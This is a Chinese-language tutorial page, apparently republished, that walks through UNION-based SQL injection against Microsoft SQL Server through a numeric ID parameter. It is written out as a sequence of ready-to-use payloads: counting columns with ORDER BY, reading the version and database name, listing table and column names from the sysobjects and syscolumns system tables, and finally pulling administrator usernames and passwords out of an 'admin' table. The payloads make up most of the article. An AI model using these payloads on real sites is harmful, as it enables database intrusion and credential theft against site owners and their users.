当前位置: 首页 > 图文教程 > 数据库 > MSSQL > MSSQL下用UNION和系统表配合猜表名和字段名深度注入

MSSQL
SQL Server服务器内存升级后的烦恼
SQL Server数据库超级管理员账号防护
微软证实最新的关键SQL Server漏洞
在SQL Server 2000数据仓库中使用分区
深入探讨SQL Server 2008商务智能(BI)
正确理解SQL Server四类数据仓库建模方法
SQL Server中读取XML文件的简单做法
教程:打造SQL Server2000的安全策略
Windows存储 SQL行溢出 差异备份及疑问
保护SQL服务器的安全 用户识别问题
SQL Server数据在不同数据库中的应用
关于SQL Server中索引使用及维护简介
在SQL Server中使用CLR调用.NET方法
50种方法巧妙优化SQL Server数据库
比较SQL Server约束和DML触发器
从IIS到SQL Server数据库安全
在SQL server2005数据库下创建计划任务
SQL Server保障数据一致性的法宝
数据库备份过程中经常遇到的九种情况
轻松解决ORA-12560: TNS 协议适配器错误

MSSQL下用UNION和系统表配合猜表名和字段名深度注入


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-30   浏览: 145 ::
收藏到网摘: n/a

  这是这次出攻防大赛题目的时候顺便做的一些注入总结,是我通过查询系统表结构总结出来的。只要注入点有效,并且没有过滤单引号,即使它管理员表名和字段名设置的再复杂都是可以猜出来的,而且由于是用union,效率还是很高的。还有只需要DBO权限即可。

  以一个数字型注入点为例( 暂时假设这个数字型注入点对单引号也没有过滤)

  先用 order by 猜SQL所查询字段数,并用Union验证(这里直接Select当前数据库下的sysobjects系统表)

  ID=735 order by 8

  ID=-735 union select 1,2,3,4,5,6,7,8 from sysobjects

  或者

  ID=-735 union select 1,2,3,4,5,6,7,8 from master.dbo.sysobjects

  假如这里屏幕上会显示2,3,4

  顺便查下版本和数据库名

  ID=-735 union select 1,@@version,db_name(),4,5,6,7,8 from sysobjects

  //这里假如查出当前数据库名dbname

  接着查询表名(从0开始增加第二个top N的数字就可以遍历当前数据库表名了)

  ID=-735 union select 1,2,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where xtype='u')),4,5,6,7,8 from sysobjects

  如果要查其他数据库的表名还可以这样:

  ID=-735 union select 1,2,(select top 1 name from [dbname]..sysobjects where xtype='u' and name not in(select top 0 name from [dbname]..sysobjects where xtype='u')),4,5,6,7,8 from sysobjects

  //这里假如查出管理员表admin

  继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)

  ID=-735 union select 1,2,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='admin'))),4,5,6,7,8 from sysobjects

  //这里假如查到的管理员用户名和密码字段分别是name和psw

  剩下的就简单啦,依次把管理员用户名和密码就可以Union出来了(仍然修改第二个top N来遍历字段)

  //这里假设使用的是前面已经猜出来的表名admin和字段name,psw

  ID=-735 union select top 1 1,name,psw,4,5,6,7,8 from admin where name not in (select top 0 name from admin)